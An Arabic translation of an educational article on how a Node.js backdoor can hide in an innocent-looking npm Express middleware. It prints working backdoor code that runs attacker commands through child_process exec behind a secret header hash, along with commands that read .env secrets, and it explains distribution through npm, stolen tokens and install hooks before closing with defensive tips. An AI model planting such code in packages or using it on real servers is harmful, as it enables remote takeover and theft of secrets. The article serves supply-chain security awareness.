اعرف عدوك: قم بإنشاء Node.js مستتر

الباب الخلفي في الكود الخاص به ، والذي يمكن أن يتفاعل بسلاسة مع نظام التشغيل ، هو أحد أسوأ الكوابيس لأي مطور. لدى npm حاليًا أكثر من 1.2 مليون حزمة عامة. على مدى السنوات الثلاث الماضية ، أصبح إدمان المشاريع هدفًا مثاليًا لمجرمي الإنترنت. قد يكون النظام البيئي للآلية الوقائية هشًا بشكل مدهش إذا لم يولي مجتمع التنمية اهتمامًا وثيقًا للأمن. وكدليل على هذه الفكرة، ويكفي أن نذكر typosquatting و قوع الحادث مع حزمة الآلية الحدث تيار. يريد كاتب المقال ، الذي ننشر ترجمته اليوم ، للأغراض التعليمية ، التحدث عن كيفية إنشاء أبواب خلفية لمنصة Node.js.





ما هو الباب الخلفي؟


فيما يلي تعريف لمصطلح "الباب الخلفي" الوارد على مورد Malwarebytes : "في مجال الأمن السيبراني ، الباب الخلفي هو أي طريقة يمكن من خلالها للمستخدمين المصرح لهم وغير المصرح لهم تجاوز التدابير الأمنية المشتركة والوصول إلى جذر عالي المستوى إلى نظام الكمبيوتر ، تطبيق شبكة. بعد الحصول على هذا الوصول إلى النظام ، يمكن لمجرمي الإنترنت استخدام باب خلفي لسرقة البيانات الشخصية والمالية ، وتثبيت برامج ضارة إضافية ، واختراق الأجهزة. "

يتكون الباب الخلفي من جزئين رئيسيين:

  1. تم تضمين شفرة ضارة وتنفيذها على نظام مهاجم
  2. قناة اتصال مفتوحة تتيح للمهاجم إرسال أوامر إلى باب خلفي والتحكم في كمبيوتر بعيد.

يتم إرسال الأوامر الخلفية المثبتة على الكمبيوتر استجابةً لتنفيذ إجراءات معينة. يمكن أن تكون هذه أوامر تهدف إلى استخراج معلومات قيمة من النظام ، مثل المتغيرات البيئية ، أو مصممة لتنفيذ هجوم على قاعدة البيانات. علاوة على ذلك ، قد يؤدي تنفيذ هذه الأوامر إلى تغيير في العمليات الأخرى التي تؤثر على جهاز كمبيوتر واحد أو الشبكة بالكامل. يعتمد حجم الهجوم على الأذونات التي يمتلكها التطبيق المصاب. في حالتنا ، نحن نتحدث عن تطبيق مكتوب لمنصة Node.js.

من أجل إنشاء نسخة مبسطة من البرنامج تنفذ الهجوم أعلاه ، سنستخدم الوحدة النمطية child_process القياسية لتنفيذ التعليمات البرمجية. لإنشاء اتصال مع الباب الخلفي ، نستخدم خادم HTTP. أنصحك باستخدام إطار عمل Express في هذه الحالة ، والمعروف بقدراته الهائلة ، ولكن ما سيتم مناقشته يمكن تنفيذه باستخدام أي أدوات أخرى مناسبة.

لماذا نحتاج إلى عملية أطفال؟


child_processيمكن استخدام الوحدة النمطية Node.js القياسية لبدء العمليات التابعة. الفكرة الرئيسية هنا هي أنه يمنحنا الفرصة لتنفيذ الأوامر (الدخول في العملية من خلال دفق إدخال قياسي - stdin) مثل pwdأو ping snyk.io، ثم دمج نتيجة هذه الأوامر (الناتج يأتي من دفق الإخراج - stdout) ورسائل الخطأ المحتملة (من تيار stderr) إلى البرنامج الرئيسي.


تنفيذ العملية وعلاقته مع المدخلات والمخرجات وتدفق الأخطاء المعيارية ، التي تلعب دور تدفقات المدخلات والمخرجات لعملية نظام قيد التشغيل.

هناك طرق مختلفة لتنفيذ العمليات الفرعية. لهذا الهجوم، فمن الأسهل لاستخدام وظيفةexecالتي تسمح لك لإعادة النداء ووضعها في مخازن مناسبة ما يحصل فيstdoutوتياراتstderr. على سبيل المثال ، ما سيتم إصداره كنتيجة للأمرcat passwords.txt. يرجى ملاحظة أن الوظيفةexecليست أفضل طريقة لأداء المهام الطويلة مثلping snyk.io.

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

كيفية الجمع بين وظيفة exec مع خادم HTTP؟


أنا وضعت بسيطة، وتبحث الأبرياء، متصفح إعادة توجيه حزمة الوسيطة لتطبيقات اكسبرس. إنه يعيد توجيه المستخدمين من غير Chrome إلى browsehappy.com . سوف أقوم بتضمين شفرة ضارة في هذه الحزمة.

سيكون رمز الحزمة كالتالي:

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

يكفي أن يقوم الضحية بتثبيت الحزمة واستخدامها في تطبيق Express بنفس الطريقة التي يستخدم بها أي حزمة في الطبقة الوسطى:

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

يرجى ملاحظة أنه في هذه الحالة ، حتى إذا تم استخدامها Helmet، فإن هذا لا يحمي التطبيق من الهجوم.

كود خبيث


تنفيذ الكود الخبيث بسيط للغاية:

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

كيف يعمل الباب الخلفي لدينا؟ للإجابة على هذا السؤال ، ضع في اعتبارك ما يلي:

  1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
  2. , . , . Content-Sec-Policy, Content-security-policy. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
  3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.


الآن بعد أن أصبح رمز الباب الخلفي جاهزًا ، عليك التفكير في كيفية توزيع الحزمة الضارة.

الخطوة الأولى هي نشر الحزمة. لقد نشرت الحزمة browser-redirect@1.0.2في الدقيقة. ولكن إذا نظرت إلى مستودع GitHub للمشروع ، فلن يكون الرمز الضار موجودًا. انظر بنفسك - ألق نظرة على فرع المشروع الرئيسي وقم بالإصدار 1.0.2 . هذا ممكن بسبب حقيقة أن npm لا تتحقق من رمز الحزم المنشورة مع الرمز المنشور في بعض الأنظمة المصممة للعمل مع شفرة المصدر.

على الرغم من نشر الحزمة في npm ، إلا أن فرص توزيعها لا تزال منخفضة للغاية ، حيث لا يزال الضحايا المحتملون بحاجة إلى العثور عليها وتثبيتها.

هناك طريقة أخرى لتوزيع حزمة وهي إضافة وحدة نمطية ضارة كاعتماد على الحزم الأخرى. إذا كان للمهاجم حق الوصول إلى حساب له حقوق النشر الخاصة ببعض الحزم الهامة ، فيمكنه نشر إصدار جديد من هذه الحزمة. ستشمل تبعيات الإصدار الجديد من الحزمة أيضًا باب خلفي. نتيجة لذلك ، نحن نتحدث عن التضمين المباشر لحزمة ضارة في تبعيات مشروع شائع (ألق نظرة على تحليل الحادث الذي حدث مع تدفق الأحداث). بدلاً من ذلك ، يمكن للمهاجم محاولة إجراء العلاقات العامة في مشروع عن طريق إجراء التغييرات المناسبة على ملف القفل. اقرأ عنها هنا .

عامل آخر مهم يجب أخذه في الاعتبار هو ما إذا كان المهاجم لديه حق الوصول إلى بيانات الاعتماد (اسم المستخدم وكلمة المرور) لشخص يدعم مشروعًا شائعًا معينًا. إذا كان لدى مهاجم مثل هذه البيانات ، يمكنه بسهولة إصدار نسخة جديدة من الحزمة - تمامًا كما حدث مع eslint .

ولكن حتى لو استخدم شخص يدعم المشروع المصادقة ذات العاملين لنشره ، فإنه لا يزال يخاطر به. وعندما يتم استخدام نظام تكامل مستمر لنشر إصدارات جديدة من المشروع ، يجب إيقاف المصادقة الثنائية. ونتيجة لذلك ، إذا تمكن المهاجم من سرقة رمز مميز يعمل بنظام npm لنظام تكامل مستمر (على سبيل المثال ، من السجلات التي سقطت بطريق الخطأ في الوصول العام ، ومن تسرب البيانات ، ومن مصادر أخرى مشابهة) ، فسيتمكن من نشر إصدارات جديدة تحتوي على كود ضار .

يرجى ملاحظة أنه تم إصدار واجهة برمجة التطبيقات الجديدة.(التي لا تزال في حالة تجريبية خاصة) ، والتي تتيح لك معرفة ما إذا كانت الحزمة قد تم نشرها باستخدام عنوان IP لشبكة TOR ، وما إذا كانت المصادقة الثنائية قد تم استخدامها عند النشر.

علاوة على ذلك ، يمكن للمهاجمين تكوين الكود الضار بحيث يتم تشغيله على شكل برنامج نصي يتم تنفيذه قبل التثبيت أو بعد تثبيت أي حزمة npm. هناك خطافات دورة حياة قياسية لحزم npm تتيح لك تنفيذ التعليمات البرمجية على كمبيوتر المستخدم في وقت محدد. على سبيل المثال ، يستخدم نظام لتنظيم المشاريع الاختبارية في متصفح ، Puppeteer ، هذه الخطافات لتثبيت Chromium على نظام مضيف.

ريان دال بالفعل قالحول نقاط الضعف هذه في JSConf EU 2018. تحتاج منصة Node.js إلى مستوى أعلى من الحماية لمنع هذا وغيره من نوبات الهجوم.

فيما يلي بعض الاستنتاجات من دراسة أمان البرامج مفتوحة المصدر:

  • تم العثور على 78 ٪ من الثغرات في التبعيات غير المباشرة ، مما يعقد عملية التخلص من هذه الثغرات.
  • على مدى عامين ، كانت هناك زيادة في نقاط الضعف في المكتبات بنسبة 88٪.
  • يعتقد 81٪ من المستجيبين أن المطورين أنفسهم يجب أن يكونوا مسؤولين عن الأمن. بالإضافة إلى ذلك ، يعتقدون أن المطورين غير مستعدين جيدًا لذلك.

النتائج: كيف تحمي نفسك من الأبواب الخلفية؟


التحكم في التبعيات ليس سهلاً دائمًا ، ولكن بعض النصائح يمكن أن تساعدك في ذلك:

  • استخدم مكتبات معروفة ومدعومة جيدًا.
  • شارك في الحياة المجتمعية وساعد أولئك الذين يدعمون المكتبات. قد تتضمن المساعدة كتابة التعليمات البرمجية أو تقديم الدعم المالي للمشاريع.
  • استخدم NQP لتحليل التبعيات الجديدة لمشروعك.
  • استخدم Snyk لمواكبة نقاط الضعف ومراقبة مشاريعك.
  • تحليل رمز التبعيات التي تستخدمها ، المخزنة في npm. لا تقتصر على عرض التعليمات البرمجية من GitHub أو أنظمة أخرى مماثلة.

القراء الأعزاء! كيف تحمي مشاريعك باستخدام رمز شخص آخر؟


All Articles